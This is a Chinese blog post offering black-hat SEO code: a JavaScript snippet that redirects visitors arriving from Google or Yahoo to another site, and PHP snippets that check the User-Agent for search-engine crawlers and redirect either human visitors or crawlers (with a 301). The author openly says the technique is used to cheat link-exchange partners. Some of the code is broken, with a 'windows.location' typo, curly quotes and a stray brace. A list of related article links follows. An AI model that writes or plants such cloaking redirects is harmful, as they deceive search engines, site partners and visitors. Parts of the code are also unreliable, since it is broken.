根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)


Posted in Javascript onSeptember 14, 2015

黑帽seo手段中有一个大家都在用的技巧,在服务端判断 客户端浏览器的user-agent然后做进一步操作,

网上一直都有人在用 这个代码 先是一个js代码 判断网站访客来路 如果是搜索引擎来的 就跳转 如果是直接访问则不变化 这段代码是从网上找来的 已经很久了 感谢原作者

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='https://3water.com'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='https://3water.com'",10*1000);
</script>

如果是搜索引擎的user-agent则301跳转 目前网上好多欺骗友情链接的就是这个做法(代码会放在最后)

具体还有很多思路,跳转了,乔页等 今天仅把代码放出来 php的代码

声明 代码都是百度下来的 先写个简单的
根据php的 $_SERVER[‘HTTP_USER_AGENT']来进行判断

<?php
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo '谷歌';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo '百度';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo '雅虎';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo '搜搜';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo '有道';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo '搜狗';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
?>

第二段带跳转的

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: https://3water.com" . $_SERVER['REQUEST_URI']);
    // 自动转到https://3water.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: https://3water.com/abc/d.php");
   exit();
}
?>

第三段代码 是 判断后301跳转的

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) {
 
header(“HTTP/1.1 301 Moved Permanently”);
header(“Location: http://www.saoyu.com/”);
exit;
 
}}

黑帽手段有风险 请慎用。如果中招的朋友感觉找后门。

Javascript 相关文章推荐
jquery插件之easing使用
Aug 19 Javascript
一些有用的JavaScript和jQuery的片段分享
Aug 23 Javascript
Ajax局部更新导致JS事件重复触发问题的解决方法
Oct 14 Javascript
AspNet中使用JQuery boxy插件的确认框
May 20 Javascript
AngularJS基础 ng-keypress 指令简单示例
Aug 02 Javascript
canvas的神奇用法
Feb 03 Javascript
js遍历获取表格内数据的方法(必看)
Apr 06 Javascript
jQuery实现table中两列CheckBox只能选中一个的示例
Sep 22 jQuery
MVVM 双向绑定的实现代码
Jun 21 Javascript
如何将HTML字符转换为DOM节点并动态添加到文档中详解
Aug 19 Javascript
ionic2.0双击返回键退出应用
Sep 17 Javascript
layui实现多图片上传并限制上传的图片数量
Sep 26 Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
JS+CSS实现自动切换的网页滑动门菜单效果代码
Sep 14 #Javascript
You might like
建立动态的WML站点(三)
2006/10/09 PHP
fgetcvs在linux的问题
2012/01/15 PHP
php利用事务处理转账问题
2015/04/22 PHP
php多文件打包下载的实例代码
2017/07/12 PHP
详解PHP使用日期时间处理器Carbon人性化显示时间
2017/08/10 PHP
权威JavaScript 中的内存泄露模式
2007/08/13 Javascript
javascript中Number对象的toString()方法分析
2014/12/20 Javascript
JavaScript实现添加及删除事件的方法小结
2015/08/04 Javascript
使用jQuery mobile库检测url绝对地址和相对地址的方法
2015/12/04 Javascript
原生JS实现圣旨卷轴展开效果
2017/03/06 Javascript
js实现图片旋转 js滚动鼠标中间对图片放大缩小
2017/07/05 Javascript
BootStrap Table实现server分页序号连续显示功能(当前页从上一页的结束序号开始)
2017/09/12 Javascript
JavaScript编程设计模式之构造器模式实例分析
2017/10/25 Javascript
vue 组件高级用法实例详解
2018/04/11 Javascript
react-router4按需加载(踩坑填坑)
2019/01/06 Javascript
JavaScript使用小插件实现倒计时的方法讲解
2019/03/11 Javascript
vue生命周期的探索
2019/04/03 Javascript
Vue源码学习之关于对Array的数据侦听实现
2019/04/23 Javascript
python提取内容关键词的方法
2015/03/16 Python
用Python编写分析Python程序性能的工具的教程
2015/04/01 Python
在Python中使用M2Crypto模块实现AES加密的教程
2015/04/08 Python
Python中字典的基本知识初步介绍
2015/05/21 Python
Python callable()函数用法实例分析
2018/03/17 Python
pandas将DataFrame的列变成行索引的方法
2018/04/10 Python
PyQt5每天必学之拖放事件
2020/08/27 Python
Python实现的多进程拷贝文件并显示百分比功能示例
2019/04/09 Python
Python爬虫实现使用beautifulSoup4爬取名言网功能案例
2019/09/15 Python
基于Keras的格式化输出Loss实现方式
2020/06/17 Python
迪奥美国官网:Dior美国
2019/12/07 全球购物
房地产营销活动策划方案
2014/09/15 职场文书
个人维稳承诺书
2015/05/04 职场文书
销售会议开幕词
2016/03/04 职场文书
Python数据分析之pandas函数详解
2021/04/21 Python
MySQL七种JOIN类型小结
2021/10/24 MySQL
在CSS中使用when/else的方法
2022/01/18 HTML / CSS
Python如何快速找到多个字典中的公共键(key)
2022/04/29 Python